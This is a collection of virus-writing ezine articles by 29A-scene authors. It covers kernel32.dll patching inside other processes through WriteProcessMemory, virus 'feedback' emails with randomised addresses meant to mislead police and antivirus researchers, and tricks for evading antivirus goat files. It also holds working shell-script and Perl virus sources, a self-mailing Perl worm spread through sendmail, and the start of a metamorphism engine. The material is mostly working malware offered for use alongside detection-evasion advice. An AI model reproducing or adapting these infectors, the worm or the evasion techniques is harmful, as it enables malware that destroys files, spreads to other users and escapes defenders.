push 0 ;allocate enough space
push ebx ;for virus code in
call [ebp + a_VirtualAllocEx - gdelta] ;victim process
test eax,eax
je end_K32_dealloc ;quit if error
mov [ebp + virus_base - gdelta],eax ;save the address

4* first what you have to do is to get the size of kernel32.dll. the code
from Win32.HIV follows:

gotPID: xchg eax,ebx ;handle to EBX


mov esi,12345678h ;get K32 base
k32_base = dword ptr $-4

;Now we have to get the size of K32 in another process. We use the trick
;-> we will search thru the address space for the end of K32 in memory
;and then we will substract the value with the base address, so we will
;get the size
start_parse:
push mbi_size
lea eax,[ebp + mbi - gdelta] ;MBI structure
push eax
push esi
push ebx ;get informations about
call [ebp + a_VirtualQueryEx - gdelta]
test eax,eax ;adress space
je end_K32_patching ;quit if error
;is memory commited?
test dword ptr [ebp + reg_state - gdelta],MEM_COMMIT
je end_parse ;quit if not, end of K32 found
mov eax,[ebp + reg_size - gdelta] ;get size of region
add [ebp + k32_size - gdelta],eax ;add the size to variable
add esi,eax ;make new address
jmp start_parse ;and parse again
end_parse:
sub esi,[ebp + k32_base - gdelta] ;correct to size and save it
mov [ebp + k32_size - gdelta],esi ;(size=k32_end - k32_start)

in variable "k32_size" is now stored the size of kernel32.dll. next


step is to allocate memory for k32 (by VirtualAlloc) and hook all
file API functionz:

push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push esi
push 0
call [ebp + a_VirtualAlloc - gdelta] ;allocate enough space
test eax,eax ;for K32 in our process
je end_K32_patching
xchg eax,edi
mov [ebp + k32_copy - gdelta],edi ;save the address

5* kernel32.dll's memory pages are protected, but you can easilly


unprotect them by VirtualProtectEx API. the code follows:

;now we will change protection of K32 memory so we will be able to


;overwrite it with infected version of K32
lea edx,[ebp + tmp - gdelta]
push edx
push PAGE_EXECUTE_READWRITE
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_VirtualProtectEx - gdelta] ;now we will be able to
dec eax ;rewrite the K32 with
jne end_K32_dealloc ;infected one

6* for overwriting data in another process you can use WriteProcessMemory:

lea edx,[ebp + tmp - gdelta]


push edx
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_copy - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_WriteProcessMemory - gdelta] ;rewrite K32

ÚÄÄÄÄÄÄÄÄÄ¿
³ Closin' ³
ÀÄÄÄÄÄÄÄÄÄÙ

woow! and the multi-process resident virus is finished. this method is not very
difficult to realise, it is small and very efficent. and it worx. if you would
like to get more informationz about this, or you will want anything else,
contact me!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
# Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
@ benny_29a@privacyx.com ³
@ http://benny29a.cjb.net ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
VIRII FEEDBACK
by TangentVirii.

INTRO.

Uh... it was suposed to be a big article about Artificial Life applied to


the virus world, but I hadn't got so much time. So I wrote this mini text,
then if 29a#5 is released before the other article is finished I can
publish a text (this text) there anyway.

Ok, lets go to the real problem.

I think one of the problems for virus coders is that we usually haven't
got feedback with our programs. For instance, if we spread a virus, we
can't know if it's working well or not. The unique way to know if all has
worked fine is reading the AVers texts: if they say something as 'The 5626
Virus is one of the most powerful viruses in the world. It has infected
more than 60000 PCs over the world', we know that all is fine. However,
these texts aren't very trustable. They have lots of lies, and other
bullshits.

The question is: how can my virus say me if he's spreading a lot, or not?

I have an answer to this question that appeared in my mind when I began


thinking about using ALIFE related ideas with viruses. It's using the
mail, but in a strange way.

MAILING.

In this article we aren't gonna explain how to send a single mail with
Win32... we 're gonna explain a more original thing. How to do it in a
secure way!

If you want to learn how to send a mail with the Win32 API, search it in
Internet, there's a lot of info about Winsock. You can send mails with
MAPI... or you can do it with SMTP, that is more efficient. U CHOOSE.

FEEDBACK.

The idea in this text is to allow viruses to send us info by email


without showing our email address to all the world. That is what I call
feedback. It'd be nice receiving a mail from our virii saying he's fine
and he's spreading a lot!!!

WHATS THE PROBLEM.

Think you write a code as the following...

emailtext db 'Hello, I've infected other machine.',0


emailaddress db 'stupidmailer@yahoo.com',0

; mail me a text
push offset emailtext
push offset emailaddress
call sendEmailToMe

...where sendEmailToMe is a simple function that uses SMTP (or MAPI) to


send a mail with the text emailtext to emailaddress.

It's fine, but what about if you don't want to show your email address?
You can crypt the emailaddress too, but a sniffer can capture the email
address anyway. How the hell can you hide your address but allowing your
virii to mail you?

DO I NEED IT?

You r not gonna need nothing of this if you uses a secure mail server,
because of this way you haven't to worry about cops going to you. If you
give your mail to ppl in virus ezines, as 29a members do, and you sign
your virus with your handle, it's useless to try to hide your mail
because cops know it.

This info is only useful if you need to hide your mail address but you
want virus emailing you. Else, you can read it anyway, because it can be
useful for you in the future.

And if you think is very dangerous to put your email address in a virii,
this article is for you.

EUREKA.

See the following C code:

switch(rand()%4){
case 0:
sendMailToMe(text,"stupidmailer@yahoo.com");
break;
case 1:
sendMailToMe(text,"idioticmailer@hotmail.com");
break;
case 2:
sendMailToMe(text,"joe@otherserver.com");
break;
case 3:
sendMailToMe(text,"billgates@microsoft.com");
break;
}

What do you think can happen with this code? If somebody tries to trap you
he have to investigate four persons, including Bill Gates!!! Can you
imagine Bill going in jail because of you? :)

One problem with this code is that you'll only receive one of four mails
but... do you need all of them? Think your virus can infect thousands
of computers, it can be a lot!!! And if you make a virus send as much
random mails as posible, you can ever receive lots of mails.

But four mails aren't enough. You have to add more addresses so AVers and
cops can't figure which is the yours. What about combining them? For
example:

switch(rand()%4){
case 0:
person="joe";
break;
case 1:
person="john";
break;
case 2:
person="billgates";
break;
case 3:
person="virusauthor";
break;
}
switch(rand()%4){
case 0:
wsprintf(emailaddress,"%s@yahoo.com",person);
break;
case 1:
wsprintf(emailaddress,"%s@hotmail.com",person);
break;
case 2:
wsprintf(emailaddress,"%s@29a.org",person);
break;
case 3:
wsprintf(emailaddress,"%s@microsoft.com",person);
break;
}

sendMailToMe(text,emailaddress);

Oh!, now you have 4*4= 16 different mails!!! Do you catch the idea? Using
the same system you can create tons of mail addresses on the fly. If you
can do it real, so almost all the email addresses exist, you can spoof
cops a lot!!! However, 16 isn't enough... you have to create more and more
email addresses. A system can be:

char user[5]={0,0,0,0,0};

char buffer[]="johnearbilljaneeditotpartgoalredh"

memcpy(user,buffer+(rand()%30),4);

switch(rand()%4){
case 0:
wsprintf(emailaddress,"%s@yahoo.com",user);
break;
case 1:
wsprintf(emailaddress,"%s@hotmail.com",user);
break;
case 2:
wsprintf(emailaddress,"%s@29a.org",user);
break;
case 3:
wsprintf(emailaddress,"%s@microsoft.com",user);
break;
}

See some of the email addresses generated by this code:

john@29a.org
need@microsoft.com
bill@yahoo.com
llja@hotmail.com
goal@yahoo.com

They are 30*4=120 different email addresses, all of 4 chars followed by


the server name. Most of them are sure registered, and some not. You can
register one of the inexistent ones, and bingo!!!

And, of course, only increasing the buffer array size, you can increment
the email addresses.

Better, if you change all rand by a time routine, what do you think can
happen? You can calculate all so some day all mails are redirected to you,
else they go elsewhere, and AVers couldn't figure what's your real mail!!!
OTHER USES.

If you are programming a virus that will flood a site, or something of


this way, you can use that system to hide the server address, and a random
day, BOOM!!!

BYE.

Ok, enough for today. I have other things to do. :)

Any questions, email me. Also, if you have interesting ideas about ALIFE
and viruses, mail me, I want to hear them.

TangentVirii.
tangentvirii@privacyx.com
Win32 Bait Detection
by SnakeByte [ SnakeByte@kryptocrew.de ]

After writing my first polymorphic win32 virus, i noticed that my


only check for baits consisted in checking for the size, so i decided
to see what else we can check in win32 environment to see if we got
a goat file. ( For those who don't know, a goat or bait file is a
file the AV'ers use to detect all possible combinations of a polymorphic
virus ) When I list some ideas on defeating goats here, i don't say "use them all !"
Better is, you use two or three of them in your virus, because otherwise the
virus might be overblown with anti goat tricks, and will not find any
real file he wants to infect, because every one of these checks will also
have false negatives and false positives..

1.) Size
2.) Imported API's
3.) Used DLL's
4.) Data Size
5.) Code Size
6.) Ressources
7.) Repeating Stuff
8.) Misc

1.) Size

Of course, this is the most simple thing we can check for. In win32
environment, the size of a file should be at least 30 or 40 KB.
I got on my harddrive just 2 dozen of files which are smaller than 40 KB,
and these are mainly my own asm projects or those "hax0r" tools delivered
with various mIRC Scripts. If they generate just 10000 goats, with more
than 40 KB, they need 390 MB, not much when you take a look at nowaday
harddrives, but it will cost them some time to generate them ;)

2.) Imported API'S

When I took a look at the PE Example delivered with RoseGoat, I noticed


that the file has just 2 imported API's : MessageBoxA and ExitProcess.
A normal file with some windows has around 20 imported API's, if you add some extra
stuff, there are around 30. You should check if the file imports at least 30
API's, if not it is a bait. Just look up the number of imported API's on
the Import Table

3.) Used DLL's

Ok, a file uses at least the imports of one DLL : Kernel32.dll *g*
But when you take a look at some others, you see, that they use 5 or more DLL's.
Except for those Visual Basic generated Files, they often just use the
VB40032.dll or one of those other runtimes, if the author is bad and does
not also use the Kernel32.dll API's. So check if there are less than 5 DLL's used, if
one of those starts with VB, then it is normally no goat, but a badly coded VB
Programm.

4.) Data Size

Check for the size of initialized Data in the Optional Header. The Rose Bait has
here just 1500 Bytes, a typical program, wheter VB or not, around 12000 Bytes !
So we can take this as another identifier for baits. Look for this value at offset
20h of the PE Header, which could be easily done ;)

5.) Code Size

We should also check the "Size of Code Section" in the optional Header,
a bait just has a low value here ( sure, it has not much code ;) ) but a
normal file has 5000 and more. This value can be found at offset 2Ch of
the PE Header, so it is easy to check too.

6.) Ressources

Every normal file uses Ressources, like Pictures, Icons and such things.
If we find none, we should not infect the file, because just a gout file
has no icon ;) To check this we need to locate the .rdata Sektion and check
for it's size inside the section table. I think 800h Bytes is a minimum for
a normal file ( thats about 1 Icon )

7.) Repeating Stuff

When a goat file generator generates baits, they often have exactly the same
size, so check if the current file has the same size as the last one, if this
is the cause, then don't infect it. Filenames might also follow a pattern, when
generated with a generator. This is the same as in DOS, they either have names
like Goat0001.exe, Goat0002.exe.. or 0001Goat.exe, 0002Goat.exe..
I would say the best method to avoid such files is to check the first and
the last digit of the filename ( without extension ). If they are equal or
just differ in one Bit, then they should not be infected.
But some goat generators are able to generate baits with different sizes and
random filenames, what to do against them ? One thing which will repeat, are
the first bytes of the code, because they just change the size and data. But checking
for this would be really hard, because a lot of high level compilers have several
routines, which get started before the programmers stuff get executed. If you store
the first 100 Bytes in Memory, you would also detect HLL Programs as baits. So
my solution is to read 2000-3000 Bytes of the code section and generate a checksum
over this part, then you don't need to store a lot of data ( But make sure the CRC
is a fast one *g* )

8.) Misc

Some might say, all these anti goat tricks are useless, because the AV'er will
just NOP them out or write his own replication routine for the virus, which
will not have these tricks, but the same poly engine. Sure, this would be
bad for us, but what if we generate a checksum over the entire virus code and
use it as a main basis number for the random number generator ? Then the AV'er has
to fear, that his routine ( or the virus with nopped out tricks ) will generate other
variants like your virus and his scanengine might miss some of your viruses.
So just choose some of these tricks, they don't need that many bytes and i think
they will be an effort for your virus.
Linux Shell Script Viren
by SnakeByte [ SnakeByte@kryptocrew.de ]
www.kryptocrew.de/snakebyte

Nowadays as Linux becomes more and more popular, every linux user starts telling me that
there are no viruses
for his loved os. After a long discussion most of them believe me, that it is possible to
write a virus
for Linux, but its harder for them to spread, because Linux takes more care of acess rights
than Dos
or Windows ( there are none *g* ) Ok, there are ELF Infectors out, which carry exploits to
gain root, but
here I want to talk about more simple viruses, which could also be able to spread, once
there are more
lamers using Linux ( and at the moment their number grows ) My opinion is, that Viruses
will also be a problem
for Linux in the future, because there is more and more commercialism and with commercial
products come a lot
of unexperienced users which do not know how to keep their system clean. Another reason why
I deal with
Shell Script Viruses here is, that the bash shell script is running on most systems and so
we don't have to
fear incompatibility. ( I don't know how far the scripts presented here are compatible to C
or another
shell, if anyone tests this, please let me know ;) ) Shell Scripts are like batch files in
the good old
days of dos, or like VBScript in Windows. They allow the programmer to make routine jobs
more easier and
faster. The Scripts get interpreted by the shell and are very powerful. Contrary to DOS,
you will find
a lot of shell scripts when taking a look at Linux. Shell Scripts are for example :
/etc/profile,
/etc/csh.cshcshrc. some files in /etc/rc.d, files to configure the firewall and many more.

For all Linux Newbies : 'vi' is an editor you could use to write these simple scripts ( and
don't believe anyone
who tells you, that emacs or joe are better *g* ). Use 'chmod
<file> +rwxrwxrwx' to
make everyone able to read, write and execute the file. To start
the script, you simply
have to type the filename. ( On some systems you need to place a ./
in front of the filename
because the current directory is not inside the path value )

We saw that a shell script virus has a whole potential of possible victims. Let's take a
look at the most
simple form of a shell script virus :

#Overwritter I
for file in *
do
cp $0 $file
done

This, just a few lines long script, copies itself over every file in the current directory.
Of course, this methos
of infecting comes with a lot of damage and should be found very fast, so we need to make
everything a bit more
tricky.

#Overwritter II
for file in *
do
if test -f $file
then
if test -x $file
then
if test -w $file
then
if grep -s echo $file >.mmm
then
cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f

Here we included some additional checks for the file we want to infect. First, we check if
it is a file at all.
Then if it is executable and if we got write access. If the file passed all checks, we
search the file for
the echo command, which is part of most Shell Scripts ( displays something on the screen )
( Because we did not get all scripts this way, we could also do a :
if file $file | grep -s 'Bourne shell script' > /dev/nul ; then )

Because a shell script does not longer work, after being overwritten, we should think of
another infection
method. The following code is a prepender i wrote nearly 2 years ago to see if it can be
done :

# COCO
head -n 24 $0 > .test
for file in *
do
if test -f $file
then
if test -x $file
then
if test -w $file
then
if grep -s echo $file >.mmm
then
head -n 1 $file >.mm
if grep -s COCO .mm >.mmm
then
rm .mm -f
else
cat $file > .SAVEE
cat .test > $file
cat .SAVEE >> $file
fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f

The # COCO is our infection mark, to see if a file is already infected. ( we check this with
if grep -s COCO .mm > .mmm ) After this we have the old checks if the file is a good victim.
If the file is ok and not infected yet, we copy it into another, hidden file ( .SAVEE ).
Now we replace
the original file with the first 24 Lines of our shell script file, which is exactly the
virus.
( we save them in .test bevore ) Now we just append the original file to the virus. ( cat
.SAVEE >> $file )
Last but not least, we delete every file we created during the infection.
Now we can start optimizing. This can be done with two goals : One is to reduce the number
of lines,
the other on is to reduce the number of temporary files we use. The next code is ( or is
nearly, because i
lost the original ) the optimized version of COCO, which Antraxx optimized for me some time
ago.

# COCO ( 2 ? )
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if grep -s echo $file > /dev/nul ; then
head -n 1 $file >.mm
if grep -s COCO .mm > /dev/nul ; then
rm .mm -f ; else
cat $file > .SAVEE
head -n 13 $0 > $file
cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f

Now we just need 2 temporary files and 13 lines of code. Of course could be stick all lines
together into
one by seperating them with a ; , but this would be unreadable so I will not do this here.
What else does a virus need to be effective ? He should not just infect the current
directory, but
should parse others for victims. ( /etc, /bin, /sbin.. )
In this example we save the current directory first, which is stored in the variable $path.
Then we
search the root directory for other directories. If we found one, we change into it and
search for
shell script files. We infect them with the old method and change to root directory
afterwards.
At the end we return to the original directory and remove the files we created.

# COCO 3
xtemp=$pwd
head -n 22 $0 > /.test
for dir in /* ; do
if test -d $dir ; then
cd $dir
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if grep -s echo $file > /dev/nul ; then
head -n 1 $file > .mm
if grep -s COCO .mm > /dev/nul ; then
rm .mm -f ; else
cat $file > /.SAVEE
cat /.test > $file
cat /.SAVEE >> $file
fi; fi; fi
done
cd ..
fi
done
cd $xtemp
rm /.test /.SAVEE .mm -f

Not bad for something simple like a shell script, or ? Of course could we also search for
specific directorys
and add a payload ( Message, expand passwd, ping-flood a host, download a backdoor with
ftp, etc.. ), but in
this tutorial i will not cover such things. I think it is also possible to use sendmail or
any other
mail program to send the script around via mail, but as long most people use windows, this
would not be
very effective.
To make this file complete, here is a ELF Compagnion Virus :

# Compagnion
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if file $file | grep -s 'ELF' > /dev/nul ; then
mv $file .$file
head -n 9 $0 > $file
fi; fi
done
.$0
Perl Viruses
by SnakeByte [ SnakeByte@kryptocrew.de ]
www.kryptocrew.de/snakebyte

Due to the fact, that I have to learn perl for a job, I decided to write a virus in
this language. Until this morning I haven't found a perl virus source on the web,
so I decided to write a little paper about perl viruses. This tutorial has the
same structure like my tutorial about Linux Shell Script Viruses and so I am sure,
that also perl newbies ( like me ;) ) will understand it. At the moment I did not have
a look at the perl virus I found, because I want to try to produce my own.
( Just finished a totally lame overwritter, but decided to start typing this,
because I want the reader to follow my steps ).
All code you will see here is tested on a SuSe 7.0 Linux with Perl 5.0005_3 and
worked well. I try to make it compatible to other OS'es but can't guarantee this.
Ok, let's start with the Overwritter I talked about. First the source
and then I will explain what it does.

#!/usr/bin/perl

open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)


{
open(File, ">$FileName");
print File @Virus;
close (File);
}

The first line is a comment ( marked with an # ). It is a nearly standart, that every
perl file contains the path and file of the perl interpreter in the first line.
On the second line, we open ourselves. The filename of the running script is stored
in $0. Then in the third line, we pass the content of our file into the array
@Virus. Now, every Value of the Array ( @Virus[1], @Virus[2] ... ) contains one
line of our file. Because this is all we want to do with our own file, we close it.
Then we start a loop to search for files. We pass this loop for all files in the
current directory (<*>) and pass their name to $FileName. We open the file
for write access ( shown by the > bevore the filename ) and simply print our virus
over the old file. ( if we would want to append instead of overwriting the file, we
would use a >>filename instead ). Ok, the file is replaced by the virus, so lets get
the next one and do the same...
I think this little code snippet should be very clear now ;)
Lets make it a bit better, so we will not overwrite every file, but just perl files.

#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)


{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
close (File);
}
}
}

The first few lines are known from the previous example. Then follows a huge :)
if-construction. Let's see what it does. It filters out all files, which
we are able to read ( -r ) to write to ( -w ) and which are files at all and no directorys
( -f ).
Each one of these criterias must be fulfilled, because we appended them together with an
&& which is a logical AND. Then we open the file for read access. ( You see, no > bevore
the filename ).
We load the entire file to $Temp and close it. Then we check the first ( @Temp[0] ) and the
second line ( @Temp[1] ) for the word "perl" ( cases are not ignored, but till now I found
no case
ignoring comparison method for strings, but I go on looking *g* ), to check
if we got a perl file. The rest is like in the example before. Here two things we could
additionally
do to check the files. The one is to see if they are executable ( if (-x $FileName ) ), but
since I
think that we cannot check this in windows environment, and that there are people like me,
which start their perl files with the interpreter and not setting the executable flag on the
files, I won't do it. The other check we could do is with the linux command 'file' to see if
a file is a perl script. But this wouldn't work in windows too, so i will not do this here.
Ok, i think this made the basics understandable. Now, forget this shitty overwriting stuff
and
start doing something more serious - prepending :

#!/usr/bin/perl
#PerlDemo # NEW

open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...27]; # NEW
close(File);

foreach $FileName (<*>)


{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) # NEW
{
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
print File @Temp; # NEW
close (File);
}
}
}
}

This time I marked the new lines, because not much changed. The first change is that we get
just the
24 first lines of the currently running ( infected ) file. This is because, we would also
prepend the
original file to the one we infect. The second change is that we add the original file to
the virus,
when infecting. So the new file will start with the virus, then an empty line and then the
old file,
starting with the #!/usr/bin/perl or whatever ;)
The new check for "PerlDemo" is to see if the file has already been infected by us.
Normally I would start to see what can be optimized, but here we can't do much, except
trashing the lines together as far as I see :

#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or
(@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File
@Virus;
print File @Temp; close (File); } } } }

So this saves us just some carriage returns and is not really cool :P
Let's add some more cool features to our virus like directory travelling.
We will first take a look at downward traveling :

#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...24];
close(File);

&InfectFile; # NEW
chdir('..'); # NEW
&InfectFile; # NEW

sub InfectFile { # NEW


foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) { # NEW
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}

What have we done ? The first change that you will mention is, that we placed the
file-search and
infection routine into a sub procedure, which we call two times from the main program.
Another change is the chdir('..') which will let us get one directory down. This sould work
fine
on Unix/Linux and DOS/Windows Systems, but will cause Errors on MacOS, because MacOS uses
'::' to get
one directory down. Sad bud true, perl is not as portable as we want it to :P
Another change is inside the check for the file. (@Temp[1] =~ "perl",,i) The ,,i meand that
we search
for the string perl and ignore the upper and lowercases, so we will also find perl files
starting with #C:\Programme\Perl\Perl.exe. A, let's call it bug in this virus is, that we
don't
restore the old directory. This is another problem caused by the incompatibility of the
different OS. In Unix/Linux, we can simply get the current path by doing a $CurPath=`pwd`;
But this would not work on Win or MacOS. Luckily we can get the OS under which we are
running,
with the $^O Variable, which exists since Perl 5.0002. The following code will see if we
are in Dos, Windows,
Linux, BSD or a Solaris machine.

#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...30];
close(File);

&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` } # NEW
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # NEW
$DotDot = '..'; # NEW
if ($^O =~ "MacOS") { $DotDot = "::" } # NEW
chdir($DotDot); # NEW
&InfectFile;
chdir($OldDir); # NEW

sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}

Ok, if the OS is bsd, linux or solaris, we retrieve the current path with the pwd command,
which
is a normal shell command to retrieve the current path. In windows we just do this with cd,
which
is normally used to change directorys but can be used to get the path as well. Then we set
the two
dots to '..' like they are used in nearly every OS, except MacOS, so we change them to '::'
if we
are running on a Mac. Maybe it would be a better solution to make two checks, one for
MacOS, and
set the Dots, one for Dos, Windows and OS/2 to use cd to retrieve the path and for
everything left,
we use the two dots and pwd to retrieve the path, because there are many more Unix and BSD
Versions,
to which perl is ported and they all have the pwd command.
If we would want to travel upwards, we have the same problem, that the different operating
systems
have different ways to tell us their root directory. Linux has just one /, Windows and Dos
have one
for every Disk A:, B:, C: ... and as far as I know has the Mac none at all.. With the next
source
I will try to handle all these problems :

#!/usr/bin/perl
# Perl - Get'em'all Virus
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...46];
close(File);
&InfectFile;
if ($^0 =~ "MacOS") {
chdir('::');
&InfectFile; }
else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) {
$OldDir = `cd`;
chdir('..');
&InfectFile;
chdir('C:\');
&SearchUpperDirectorys;
chdir($OldDir);}
else {
$OldDir = `pwd`;
chdir("/");
&SearchUpperDirectorys;
chdir($OldDir);}}

sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}

sub SearchUpperDirectorys {
foreach $Directory (<*>) {
if ((-r $Directory) && (-w &Directory ) && (-d $Directory) {
chdir ($Directory);
&InfectFile;
chdir ('..')
}}}

Ok, if we are in MacOS, we just infect the lower directory. If we are in DOS or Windows
environment,
we infect the folder below and start to search for others at C:\. Afterwards we restore the
old
directory. On every other OS, we search from the root directory for others. Afterwards we
restore the
original one. Wow, first of all I wanted to start parsing the Path variables which contains
all
directorys which will be searched when you want to start an executable, but with all these
incompatility
problems... maybe later. Now I want to have a look at the virus I talked about before,
which I found
on the web. AVP detects this thing as Perl.spoon and it is created by PaddingX. I just hope
it is ok for
him, if I present his source here, but I don't know where to reach him to ask him. So if
you read this
and want me to remove this part, just tell me ! I added some comments so you will
understand the code.
These comments are marked with an 'S'

#!/usr/bin/perl
use File::Find; #S he uses a module to find files, it's included all standart
perl installations
&virus(); #S calling of the sub Virus
#S after Virus Sub is executed we see a little payload ( just
in dropper ! )
print "\nThis program is infected by the Perl virus\n\n";

sub virus #S start of the virus part


{
my ( $pid, $new ); #S define local variables
if( $pid = fork ) { return; }
else
{
open( source, $0 ); #S open Virus File
finddepth ( \&infect, '/home/chris/test' ); #S '/home/chris/test' is the path
where files should be infected
sub infect
{
open target, "$File::Find::name"; #S open the file we want to infect
$_ = <target>; #S read it into a string
if ( /(\#!.*perl)/ ) #S check if we got a #! xxxx perl in
the first line --> check if it is a perl file
{
$_ = <target>; #S read the second line
if( $_ ne "use File::Find;\n" ) #S if it uses the File::Find module
it will not be infected --> infection mark
{
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_; #S Write first two
lines of the virus into $NEW
while( <target> ) { $new = $new . $_; } #S Write the file we infect
into $NEW
seek( source, 0, 0 );
while( <source> ne "sub virus\n" ) { }; #S read our file until we
find the virus procedure
$new = $new . "\nsub virus\n"; #S write 'sub virus' into $NEW
while( <source> ) { $new = $new . $_; } #S append the rest of the
virus to $NEW
close target; #S close the file we infect
open target, ">$File::Find::name"; #S open it again for writing
print target $new; #S write $new into the file
}
}
close( target ); #S close file we infected
}
close( source ); #S close virus file
exit( 0 ); #S exit program
}
}

# a Perl virus, by paddingx


# 08/15/1999

Ok, as we see, this virus is an appender. It writes a call to the virus at the start and
appends
the rest to the file. This is like the old com infection appending in dos. ;)
The infected file will look like this :

[ Stub :
#!/usr/bin/perl
use File::Find;
&virus(); ]
[... Original File ... ]
[ .. virus procedure ..]
Even if it will just run on Unix'es ( because of the path and because fork
is not implemented on Mac OS, Win32, AmigaOS and RISC OS ) it is still a nice
piece of code, because I think it would be possible to use EPO techniques with
this kind of infection, by searching for a call (&Procedure) and change it to the
virus and place a call to the original procedure at the end of the virus...

Ok, here comes a last piece of code, just to show another simple thing you
can do with perl, because everyone says that Selfmailing Worms are something
which can just be done with windows script languages. This is a selfmailing
Perl worm, which uses sendmail and assumes, that the mails are in the
/var/spool/mail/ directory. Maybe one of those, who know more about linux than I do,
might want to modify it, to retrieve the mail folder from sendmail.cf ;)

#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...29];
close(File);

foreach $FileName (</var/spool/mail/*>) {


if ((-r $FileName) && (-f $FileName)) {
open(File, "$FileName");
@test1=<File>;
close(File);
@ReceiverList = grep /From:/, @test1;
foreach $Receiver2 (@ReceiverList){
@Receiver = split(/:/, $Receiver2);
@Addy = split(/</, @Receiver[1]);
open(File,">PerlWurm");
print File "Hi@Addy[0]\n";
print File "take a look at this perl script\nand see what is possible to do\nin perl..
\n";
print File " cu soon\n\n\n";
print File @Virus;
print File ".\n";
close(File);

chomp(@Addy[1]);
chop(@Addy[1]);
$x = `sendmail @Addy[1] < PerlWurm`;
}}}

Hope you enjoyed this little trip into the world of perl. I did. ;)
comment %

Lord Julus' Metamorphism Demo

This is the very first version of a metamorphism demo. This code is


quite simple and very straightforward. It is merely a demo for the
beginners in metamorphism.

This engine can be used to metamorphize instructions like:

mov [mem], ???


mov ???, [mem]

It requires multiple places for the mem (the addresses),


multiple instructions to obtain the action (the instructions).

This demo will metamorphize this:

mov [ebp+xxxxxxxx], eax

into different instructions and then call it, provided that eax must
not be preserved. Run it under a debugger and see how it works by
single stepping through the Call instr1 instructions.

If you understand the process, with very few modifications you can
use this to also metamorphize instructions like:

<op> <reg>, <reg>


<op> <mem>, <reg>
<op> <reg>, <imm>, and so on...

This engine can be used on multiple instructions. It will only


metamorphize one at a time as EAX will hold the hunk number.

A good way to use this is to metamorphize an instruction like this:

mov eax, [ebp+OldAddressOfEntryPoint]

so that the retrival of the old entrypoint is never the same.

Anyhow, this requires you to manually fill the right variable.

If you are ever to use this technique of metamorphization, be sure to


spread inside your code the variables and addresses as explained
below. This will make quite a difference...

All the best,


ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Lord Julus / 29A ³
ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÙ

.586p
.model flat, stdcall
jumps

extrn ExitProcess: proc


extrn GetTickCount: proc

.data
db 0
.code
;
start: ;
xor ebp, ebp ; assume virus model ;-)
;
mov eax, 11111111h ;
call instr1 ;do original instruction
;
mov eax, 0 ;metamorphize instr 0
call LJ_Metamorphize ;
mov eax, 22222222h ;
call instr1 ;run it!
;
mov eax, 0 ;metamorphize again
call LJ_Metamorphize ;
mov eax, 33333333h ;
call instr1 ;run it!
;
mov eax, 0 ;metamorphize again
